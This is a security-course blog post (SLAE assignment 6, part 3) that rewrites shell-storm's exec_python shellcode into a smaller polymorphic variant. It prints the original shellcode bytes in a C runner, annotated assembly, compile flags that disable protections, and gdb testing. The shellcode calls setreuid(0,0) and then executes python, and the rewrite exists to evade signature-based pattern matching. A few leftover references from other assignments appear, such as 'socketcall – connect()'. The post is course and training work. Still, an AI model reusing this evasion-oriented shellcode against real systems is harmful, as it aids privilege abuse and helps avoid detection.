SLAE Assignment 6: Polymorphic shellcode Part 3

In Assignment 6 create polymorphic versions of shellcode from the shell-storm web site. The actual assignment has the following requirements:

  • Take up at least 3 shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching
  • The polymorphic versions cannot be larger than 150%
  • Bonus points for making it shorter in length than the original

I have a good look on the shell-storm web site and decided to use:

Part 3: exec_python

The final part to assignment 6 will make a polymorphic version of the exec_python shellcode. The exec_python shellcode executes python on the target system. The shell-storm web page for the shellcode includes assembly instructions within a shellcode template similar to the one used within the course and machine language instructions.

I’ve put the machine language instructions into the shellcode.c template used within the course.

#include 
#include 

unsigned char code[] = \
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89"
"\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff"
"\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e";

int main()
{
     printf("Shellcode Length: %d\n", strlen(code));
     int (*ret)() = (int(*)())code;
     ret();
}

Original Shellcode

The structure of the shellcode is:

  • setreuid() – sets the real and effective user IDs of the calling process
  • execve() – executes a specified program

The assembly instructions for the original shellcode are in the AT&T not Intel assembly, see the following link for an overview of the differences https://en.wikipedia.org/wiki/X86_assembly_language. Therefore I’ll have to convert the instructions into the Intel syntax. I’ve added comments to the original shellcode below so it’s clear what is going on.

_start:
 ; setreuid()
 xor eax,eax     ; Zero EAX
 mov al,0x46     ; Set system call ID for setreuid(), 0x46
 xor ebx,ebx     ; Set setreuid() arg#1, Real UID value
 xor ecx,ecx     ; Set setreuid() arg#2, Effective UID value
 int 0x80        ; Execute System Call
 jmp short last  ; JMP-call-pop routine. 
first:
 ; execve()
 pop ebx         ; Set execve() arg#1, path to program to execute, jmp-call-POP
 xor eax,eax     ; Zero EAX
 mov BYTE [ebx+0xf],al    ; Set a NULL Byte terminator on the pathstring variable
 mov DWORD [ebx+0x10],ebx ; Store execve() arg#2, pointer to the program file path. 
 mov DWORD [ebx+0x14],eax ; Set envp NULL pointer terminator 
 mov al,0xb               ; Set system call ID for execve()
 lea ecx,[ebx+0x10]       ; Set execve() arg#2, a pointer to argv an array of 
                          ; argument strings. By convention the first argument 
                          ; should be the path of the program
 lea edx,[ebx+0x14]       ; Set execve() arg#3, a pointer to envp an array of 
                          ; key-value pair strings terminated with a NULL Pointer
 int 0x80                 ; Execute System Call
 
last:
 call first               ; jmp-CALL-pop, Call the 'first' section
 pathstring db "/usr/bin/python#"

Testing the Original shellcode

The original shellcode gives a segmentation fault when assembled using ‘nasm’ and ‘ld’. The reason for this is that the instructions below try to alter the .text section which is read-only by default.

lea ecx,[ebx+0x10] 
lea edx,[ebx+0x14]

To allow the shellcode to be run without the segmentation fault when assembling with ‘nasm’ and ‘ld’ the following line can be added to the .nasm file which defines a section called ‘.text_writable’ and sets it to be writable.

SECTION .text_writable progbits alloc exec write align=16

The line is added directly before the ‘global _start’ definition. By doing this the assembly instructions are no longer contained within ‘.text’  but the new ‘.text_writable’ section. As the line doesn’t include any actual instructions the size of the code is unchanged.

shellcode.c template

The original shellcode will run without the segmentation fault when machine instructions are placed into a C source file and compiled with ‘gcc’ using the options below

gcc -ggdb -fno-stack-protector -z execstack shellcode.c -o shellcode

Polymorphic version of Shellcode

I’ve not got the original shellcode instructions and it runs correctly, so lets have a look at how I can change the instructions to create a polymorphic version.

System Call 1: setreuid()

The original shellcode uses XOR and mov instructions for the first system call, so we’ll use something different. I’ve changed the order the registers are set and the way in which that is done.

global _start
SECTION .text_writable progbits alloc exec write align=16
_start:
 ; setreuid()
 sub ebx,ebx   ; Zero the EBX register, 1st parameter
 mul ebx       ; Zero EAX and EDX registers
 mov ecx,ebx   ; Zero the ECX register, 2nd parameter
 push 0x46     ; Store the system call ID for setreuid()
 pop eax       ; Set the system call ID for setreuid()
 int 0x80      ; Execute the system call

System Call 2: execve()

The next system call starts with the jmp-call-pop routine to get the memory address of the program path which will be executed by execve. The setreuid() system call returns ‘0x0’ when successful, therefore we can use that to set the NULL pointer on the stack required for the execve() system call and don’t need to Zero a register. Therefore the pop from the jmp-call-pop routine must be performed before the 0x0 is pushed to the stack. As a result there isn’t a lot of room to change the order of the instructions.

; execve()
 jmp short last         ; Start JMP-call-pop routine

first:
 pop ebx               ; Set execve() arg#1 filename pointer using jmp-call-POP 
                       ; routine 
 push edx              ; Store a NULL DWORD on the stack to be used as a NULL
                       ; pointer for argv and envp
 push edx              ; Store a NULL DWORD on the stack
 pop eax               ; Zero EAX, pop NULL DWORD from the stack into EAX
 mov ecx, esp          ; Set execve() arg#2 argv. NULL pointer on the stack
 mov edx, esp          ; Set execve() arg#3 envp. NULL pointer on the stack
 mov BYTE [ebx+0xf],al ; Set a NULL Byte at the end of the path string 
 mov al,0xb            ; Set the system call ID for execve() 0xb
 int 0x80              ; Execute the system call.
 
last:
 call first            ; jmp-CALL-pop routine
 pathstring db "/usr/bin/python#"

Verifying the shellcode doesn’t contain bad characters

The polymorphic shellcode instructions are complete. We need to check that there aren’t any bad ‘0’ characters within the instructions. First the shellcode needs to be assembled without using the -ggdb option for the nasm command as this adds the .stab and .stabstr sections which will contain a lot of zeros. The ‘objdump’ tool piped to the ‘grep’ command allows us to see if there are any ‘0x0’ values within the shellcode.

objdump -D ./read_passwd -M intel | grep 00

The command doesn’t return anything, therefore there aren’t any NULL values within the shellcode.

Testing the polymorphic shellcode

I’ll run through the shellcode stopping at each system call and checking the return value etc. As the first system call required root privileges ‘gdb’ must be run with the sudo command.

Here the shellcode is about to execute the 1st system call socketcall – connect(). EAX is set with 0x46 for setreuid(),  the EBX and ECX registers are set with 0x0 for the real and effective UIDs

slae_a3_1_setreuid_setup

After the setreuid() system call we see EAX contains zero for success.

slae_a3_1_setreuid_excuted_successfully

Now lets look at execve() the 2nd system call. First of all lets look at the filename pointer which is popped into EBX. The string currently contains a ‘#’ which will be replace with a NULL terminator.

slae_a3_2_execve_program_path_variable_1

When the instruction at <first+6> is executed the pathstring variable becomes NULL terminated.

slae_a3_2_execve_program_path_variable_2

We can further check this by looking at the NULL byte in the string, the final character in the pathstring is an ‘n’ which has an ASCI hexadecimal value of ‘6e’. The next Byte is ‘0x00’ or a NULL Byte. The registers are setup to point prior to the

slae_a3_2_execve_setup

When the  ‘int 0x80’ instruction at <first+11> is executed gdb executes the python program

slae_a3_2_execve_successfull_execution

Polymorphic Shellcode Size

So now to the fun bit. The original code size is 55 Bytes in size.

slae_a3_shellcode_length_original

The polymorphic version has fewer instructions at 49 Bytes, so a nice reduction in size.

slae_a3_shellcode_length_poly

I’m pretty pleased with the reduction in size as the original shellcode was only 55 Bytes leaving relatively small amount of scope for reducing the overall size.

Final Polymorphic Shellcode

So the complete polymorphic shellcode is as follows:

SECTION .text_writable progbits alloc exec write align=16 ; Sets the section to be writable
global _start
_start:
 ; setreuid()
 sub ebx,ebx           ; Zero the EBX register, 1st parameter
 mul ebx               ; Zero EAX and EDX registers
 mov ecx,ebx           ; Zero the ECX register, 2nd parameter
 push 0x46             ; Store the system call ID for setreuid()
 pop eax               ; Set the system call ID for setreuid()
 int 0x80              ; Execute the system call
 
 ; execve()
 jmp short last        ; Start JMP-call-pop routine
 
first:
 pop ebx               ; Set execve() arg#1 filename pointer using jmp-call-POP 
 ; routine 
 push edx              ; Store a NULL DWORD on the stack to be used as a NULL
                       ; pointer for argv and envp
 push edx              ; Store a NULL DWORD on the stack
 pop eax               ; Zero EAX, pop NULL DWORD from the stack into EAX
 mov ecx, esp          ; Set execve() arg#2 argv. NULL pointer on the stack
 mov edx, esp          ; Set execve() arg#3 envp. NULL pointer on the stack
 mov BYTE [ebx+0xf],al ; Set a NULL Byte at the end of the path string 
 mov al,0xb            ; Set the system call ID for execve() 0xb
 int 0x80              ; Execute the system call.
 
last:
 call first            ; jmp-CALL-pop routine
 pathstring db "/usr/bin/python#"

SLAE Assignment 7: Custom Crypter

Assignment 7 can be found at the following URL:

https://raidersofthelostarg.wordpress.com/2017/01/20/slae-assignment-7-custom-crypter/

Source Code

The source code for the shellcode and ‘portconfig’ applications can be found in the following Git Hub repository

https://github.com/raidersofthelostarg/slae/tree/master/assignment-6

SLAE Student Details

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: 

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-793

Advertisements
This entry was posted in SLAE and tagged , , . Bookmark the permalink.

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s